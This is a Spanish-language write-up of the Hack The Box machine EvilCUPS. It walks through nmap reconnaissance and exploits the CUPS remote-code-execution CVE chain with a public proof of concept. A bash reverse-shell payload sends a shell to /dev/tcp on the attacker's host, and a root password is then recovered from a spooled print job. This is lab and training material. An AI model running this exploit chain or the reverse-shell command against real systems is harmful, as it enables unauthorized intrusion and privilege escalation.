Descripción
EvilCUPS es una máquina media de Hack The Box que cuenta con las siguientes vulnerabilidades:
- Ejecución remota de comandos en CUPS
- Escalada de privilegios mediante credenciales filtradas en un trabajo impreso pasado
Reconocimiento
Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina de destino es 10.10.11.40.
$ ping -c 3 10.10.11.40
PING 10.10.11.40 (10.10.11.40) 56(84) bytes of data.
64 bytes from 10.10.11.40: icmp_seq=1 ttl=63 time=118 ms
64 bytes from 10.10.11.40: icmp_seq=2 ttl=63 time=117 ms
64 bytes from 10.10.11.40: icmp_seq=3 ttl=63 time=117 ms
--- 10.10.11.40 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 116.944/117.494/118.123/0.484 ms
La máquina está activa y con el TTL equivalente a 63 (64 menos 1 salto) podemos asegurar que es una máquina basada en Unix. Ahora vamos a hacer un escaneo de puertos TCP SYN con Nmap para comprobar todos los puertos abiertos.
$ sudo nmap 10.10.11.40 -sS -oN nmap_scan
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.10.11.40
Host is up (0.14s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
631/tcp open ipp
Nmap done: 1 IP address (1 host up) scanned in 2.45 seconds
Obtenemos dos puertos abiertos: 22 y 631.
Enumeration
Luego hacemos un escaneo más avanzado, con la detección de la versión de los servicios y el uso de scripts.
$ nmap 10.10.11.40 -sV -sC -p22,631 -oN nmap_scan_ports
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.10.11.40
Host is up (0.12s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey:
| 256 36:49:95:03:8d:b4:4c:6e:a9:25:92:af:3c:9e:06:66 (ECDSA)
|_ 256 9f:a4:a9:39:11:20:e0:96:ee:c4:9a:69:28:95:0c:60 (ED25519)
631/tcp open ipp CUPS 2.4
| http-robots.txt: 1 disallowed entry
|_/
|_http-title: Home - CUPS 2.4.2
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 80.75 seconds
Obtenemos dos servicios: uno de Secure Shell (SSH) y otro de CUPS (Sistema Común de Impresión Unix). Como no tenemos credenciales factibles para el servicio SSH, vamos a movernos al servicio de impresión CUPS. El servicio de impresión de CUPS ofrece una interfaz web a través del puerto 631, así que entramos en él. Encontramos que el servidor está ejecutando la versión 2.4.2 de CUPS.
Tenemos una impresora instalada, identificada como Canon_MB2300_series.
En la información de la impresora encontramos una solicitud de impresión pendiente.
Esta versión de CUPS es vulnerable a varias vulnerabilidades descubiertas por evilsocket.
- CVE-2024-47176:
cups-browsedse une aINADDR_ANY:631, lo que le permite confiar en cualquier paquete de cualquier fuente, y puede causar el pedidoGet-Printer-AttributesIPP para una URL controlada por un atacante. - CVE-2024-47076: La función
cfGetPrinterAttributes5enlibcupsfiltersno limpia los atributos IPP devueltos de una servidor IPP. - CVE-2024-47175: La función
libppdppdCreatePPDFromIPP2no limpia los atributos IPP cuando se crea el buffer PPD. Cuando se utiliza en combinación con otras funciones comocfGetPrinterAttributes5, puede resultar en entrada de usuario controlada y, finalmente, ejecución de código a través de Foomatic.
Explotación
Tenemos una demostración de concepto de la vulnerabilidad creada por IppSec. Clonamos el repositorio y instalamos las dependencias en un entorno virtual.
$ git clone https://github.com/ippsec/evil-cups
$ cd evil-cups
$ virtualenv .venv
$ . .venv/bin/activate
$ pip install -r requirements.txt
Al crear una nueva consola de acceso, iniciamos un puerto TCP en modo escucha.
$ nc -nvlp 1234
Ejecutamos el comando que se ha generado como resultado del exploit.
$ python evilcups.py 10.10.14.6 10.10.11.40 'bash -c "bash -i >& /dev/tcp/10.10.14.6/1234 0>&1"'
IPP Server Listening on ('10.10.14.6', 12345)
Sending udp packet to 10.10.11.40:631...
Please wait this normally takes 30 seconds...
30 elapsed
target connected, sending payload ...
Mientras se enviaban los paquetes UDP al objetivo podemos desencadenar la vulnerabilidad imprimiendo una página de prueba en el panel de control del CUPS. Pasamos a la página de la nueva impresora creada que se creará después de unos segundos, HACKED_10_10_14_6.
Luego en el menú desplegable seleccionamos la opción Print Test Page. Después de unos segundos recibiríamos la consola de acceso reversa como usuario lp, la actualizaremos.
$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.6] from (UNKNOWN) [10.10.11.40] 59940
bash: cannot set terminal process group (1156): Inappropriate ioctl for device
bash: no job control in this shell
lp@evilcups:/$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
lp@evilcups:/$ ^Z
$ stty raw -echo; fg
$ reset xterm
Post-Explotación
Como observábamos anteriormente, existía un trabajo de impresión. En la documentación encontramos que: El programador almacena archivos de trabajo en una carpeta de spool, típicamente /var/spool/cups. Se encontrarán dos tipos de archivos en la carpeta de spool: archivos de control que comienzan con la letra "c" ("c00001", "c99999", "c100000", etc.) y archivos de datos que comienzan con la letra "d" ("d00001-001", "d99999-001", "d100000-001", etc.).
Encontramos un archivo, /var/spool/cups/d00001-001, con lo que parece ser una contraseña, Br3@k-G!@ss-r00t-evilcups.
lp@evilcups:/$ ls /var/spool/cups/
ls: cannot open directory '/var/spool/cups/': Permission denied
lp@evilcups:/$ cat /var/spool/cups/d00001-001
...
% User defined strings:
/fmodstr (Sat Sep 28 09:30:10 2024) def
/pagenumstr (1) def
/user_header_p false def
/user_footer_p false def
%%EndPageSetup
do_header
5 742 M
(Br3@k-G!@ss-r00t-evilcups) s
_R
S
...
Lo confirmamos como la contraseña del usuario root, podemos iniciar sesión y ejecutar una consola de acceso como root.
lp@evilcups:/$ su root
Password:
root@evilcups:/# id
uid=0(root) gid=0(root) groups=0(root)
Flags
En la consola de acceso root, podemos recuperar las flags user y root.
root@evilcups:/# cat /home/htb/user.txt
<REDACTED>
root@evilcups:/# cat /root/root.txt
<REDACTED>